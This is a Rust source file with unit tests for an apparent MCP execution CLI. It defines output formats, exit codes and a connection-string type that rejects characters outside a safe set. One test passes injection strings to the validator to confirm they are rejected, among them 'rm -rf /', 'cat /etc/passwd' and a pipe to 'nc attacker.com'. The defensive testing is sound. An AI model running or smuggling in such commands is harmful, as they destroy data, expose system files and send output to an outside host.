mcp_execution_core/
cli.rs1use std::fmt;
33use std::str::FromStr;
34
35#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)]
52pub enum OutputFormat {
53 Json,
55 Text,
57 #[default]
59 Pretty,
60}
61
62impl OutputFormat {
63 #[must_use]
75 pub const fn as_str(&self) -> &'static str {
76 match self {
77 Self::Json => "json",
78 Self::Text => "text",
79 Self::Pretty => "pretty",
80 }
81 }
82}
83
84impl fmt::Display for OutputFormat {
85 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
86 f.write_str(self.as_str())
87 }
88}
89
90impl FromStr for OutputFormat {
91 type Err = crate::Error;
92
93 fn from_str(s: &str) -> Result<Self, Self::Err> {
94 match s.to_lowercase().as_str() {
95 "json" => Ok(Self::Json),
96 "text" => Ok(Self::Text),
97 "pretty" => Ok(Self::Pretty),
98 _ => Err(crate::Error::InvalidArgument(format!(
99 "invalid output format: '{s}' (expected: json, text, or pretty)"
100 ))),
101 }
102 }
103}
104
105#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
123pub struct ExitCode(i32);
124
125impl ExitCode {
126 pub const SUCCESS: Self = Self(0);
128
129 pub const ERROR: Self = Self(1);
131
132 pub const INVALID_INPUT: Self = Self(2);
134
135 pub const SERVER_ERROR: Self = Self(3);
137
138 pub const TIMEOUT: Self = Self(4);
140
141 #[must_use]
152 pub const fn from_i32(code: i32) -> Self {
153 Self(code)
154 }
155
156 #[must_use]
167 pub const fn as_i32(&self) -> i32 {
168 self.0
169 }
170
171 #[must_use]
182 pub const fn is_success(&self) -> bool {
183 self.0 == 0
184 }
185}
186
187impl Default for ExitCode {
188 fn default() -> Self {
189 Self::SUCCESS
190 }
191}
192
193impl From<ExitCode> for i32 {
194 fn from(code: ExitCode) -> Self {
195 code.0
196 }
197}
198
199impl fmt::Display for ExitCode {
200 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
201 write!(f, "{}", self.0)
202 }
203}
204
205#[derive(Debug, Clone, PartialEq, Eq, Hash)]
232pub struct ServerConnectionString(String);
233
234impl ServerConnectionString {
235 pub fn new(s: impl Into<String>) -> crate::Result<Self> {
266 const ALLOWED_CHARS: &str =
269 "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_./:";
270
271 let s = s.into();
272
273 if s.chars().any(|c| c.is_control() && c != ' ') {
275 return Err(crate::Error::InvalidArgument(
276 "server connection string cannot contain control characters".to_string(),
277 ));
278 }
279
280 let trimmed = s.trim();
281
282 if trimmed.is_empty() {
283 return Err(crate::Error::InvalidArgument(
284 "server connection string cannot be empty".to_string(),
285 ));
286 }
287
288 if !trimmed.chars().all(|c| ALLOWED_CHARS.contains(c)) {
290 return Err(crate::Error::InvalidArgument(
291 "server connection string contains invalid characters (allowed: a-z, A-Z, 0-9, -, _, ., /, :)".to_string(),
292 ));
293 }
294
295 if trimmed.len() > 256 {
296 return Err(crate::Error::InvalidArgument(
297 "server connection string too long (max 256 characters)".to_string(),
298 ));
299 }
300
301 Ok(Self(trimmed.to_string()))
302 }
303
304 #[must_use]
316 pub fn as_str(&self) -> &str {
317 &self.0
318 }
319}
320
321impl fmt::Display for ServerConnectionString {
322 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
323 write!(f, "{}", self.0)
324 }
325}
326
327impl FromStr for ServerConnectionString {
328 type Err = crate::Error;
329
330 fn from_str(s: &str) -> Result<Self, Self::Err> {
331 Self::new(s)
332 }
333}
334
335#[cfg(test)]
336mod tests {
337 use super::*;
338
339 #[test]
341 fn test_output_format_as_str() {
342 assert_eq!(OutputFormat::Json.as_str(), "json");
343 assert_eq!(OutputFormat::Text.as_str(), "text");
344 assert_eq!(OutputFormat::Pretty.as_str(), "pretty");
345 }
346
347 #[test]
348 fn test_output_format_default() {
349 assert_eq!(OutputFormat::default(), OutputFormat::Pretty);
350 }
351
352 #[test]
353 fn test_output_format_from_str_valid() {
354 assert_eq!("json".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
355 assert_eq!("text".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
356 assert_eq!(
357 "pretty".parse::<OutputFormat>().unwrap(),
358 OutputFormat::Pretty
359 );
360
361 assert_eq!("JSON".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
363 assert_eq!("TEXT".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
364 assert_eq!(
365 "PRETTY".parse::<OutputFormat>().unwrap(),
366 OutputFormat::Pretty
367 );
368 }
369
370 #[test]
371 fn test_output_format_from_str_invalid() {
372 assert!("invalid".parse::<OutputFormat>().is_err());
373 assert!("".parse::<OutputFormat>().is_err());
374 assert!("xml".parse::<OutputFormat>().is_err());
375 }
376
377 #[test]
378 fn test_output_format_display() {
379 assert_eq!(OutputFormat::Json.to_string(), "json");
380 assert_eq!(OutputFormat::Text.to_string(), "text");
381 assert_eq!(OutputFormat::Pretty.to_string(), "pretty");
382 }
383
384 #[test]
386 fn test_exit_code_constants() {
387 assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
388 assert_eq!(ExitCode::ERROR.as_i32(), 1);
389 assert_eq!(ExitCode::INVALID_INPUT.as_i32(), 2);
390 assert_eq!(ExitCode::SERVER_ERROR.as_i32(), 3);
391 assert_eq!(ExitCode::TIMEOUT.as_i32(), 4);
392 }
393
394 #[test]
395 fn test_exit_code_from_i32() {
396 assert_eq!(ExitCode::from_i32(0), ExitCode::SUCCESS);
397 assert_eq!(ExitCode::from_i32(1), ExitCode::ERROR);
398 assert_eq!(ExitCode::from_i32(42).as_i32(), 42);
399 }
400
401 #[test]
402 fn test_exit_code_is_success() {
403 assert!(ExitCode::SUCCESS.is_success());
404 assert!(!ExitCode::ERROR.is_success());
405 assert!(!ExitCode::INVALID_INPUT.is_success());
406 assert!(!ExitCode::from_i32(42).is_success());
407 }
408
409 #[test]
410 fn test_exit_code_default() {
411 assert_eq!(ExitCode::default(), ExitCode::SUCCESS);
412 }
413
414 #[test]
415 fn test_exit_code_into_i32() {
416 let code = ExitCode::ERROR;
417 let value: i32 = code.into();
418 assert_eq!(value, 1);
419 }
420
421 #[test]
422 fn test_exit_code_display() {
423 assert_eq!(ExitCode::SUCCESS.to_string(), "0");
424 assert_eq!(ExitCode::ERROR.to_string(), "1");
425 }
426
427 #[test]
429 fn test_server_connection_string_valid() {
430 let conn = ServerConnectionString::new("github").unwrap();
431 assert_eq!(conn.as_str(), "github");
432
433 let conn = ServerConnectionString::new("my-server-123").unwrap();
434 assert_eq!(conn.as_str(), "my-server-123");
435 }
436
437 #[test]
438 fn test_server_connection_string_trims_whitespace() {
439 let conn = ServerConnectionString::new(" server ").unwrap();
440 assert_eq!(conn.as_str(), "server");
441
442 assert!(ServerConnectionString::new("\tserver\n").is_err());
444 }
445
446 #[test]
447 fn test_server_connection_string_rejects_empty() {
448 assert!(ServerConnectionString::new("").is_err());
449 assert!(ServerConnectionString::new(" ").is_err());
450 assert!(ServerConnectionString::new("\t\n").is_err());
451 }
452
453 #[test]
454 fn test_server_connection_string_from_str() {
455 let conn: ServerConnectionString = "server".parse().unwrap();
456 assert_eq!(conn.as_str(), "server");
457
458 assert!("".parse::<ServerConnectionString>().is_err());
459 }
460
461 #[test]
462 fn test_server_connection_string_display() {
463 let conn = ServerConnectionString::new("test-server").unwrap();
464 assert_eq!(conn.to_string(), "test-server");
465 }
466
467 #[test]
469 fn test_server_connection_string_command_injection() {
470 assert!(ServerConnectionString::new("server && rm -rf /").is_err());
472 assert!(ServerConnectionString::new("server; cat /etc/passwd").is_err());
473 assert!(ServerConnectionString::new("server | nc attacker.com").is_err());
474 assert!(ServerConnectionString::new("server $(malicious)").is_err());
475 assert!(ServerConnectionString::new("server `whoami`").is_err());
476 assert!(ServerConnectionString::new("server & background").is_err());
477 }
478
479 #[test]
480 fn test_server_connection_string_control_chars() {
481 assert!(ServerConnectionString::new("server\r\n").is_err());
483 assert!(ServerConnectionString::new("server\0").is_err());
484 assert!(ServerConnectionString::new("server\t").is_err());
485 }
486
487 #[test]
488 fn test_server_connection_string_valid_chars() {
489 assert!(ServerConnectionString::new("github").is_ok());
491 assert!(ServerConnectionString::new("my_server").is_ok());
492 assert!(ServerConnectionString::new("server-123").is_ok());
493 assert!(ServerConnectionString::new("localhost:8080").is_ok());
494 assert!(ServerConnectionString::new("example.com/path").is_ok());
495 }
496
497 #[test]
498 fn test_server_connection_string_length_limit() {
499 let valid = "a".repeat(256);
501 assert!(ServerConnectionString::new(&valid).is_ok());
502
503 let too_long = "a".repeat(257);
505 assert!(ServerConnectionString::new(&too_long).is_err());
506 }
507}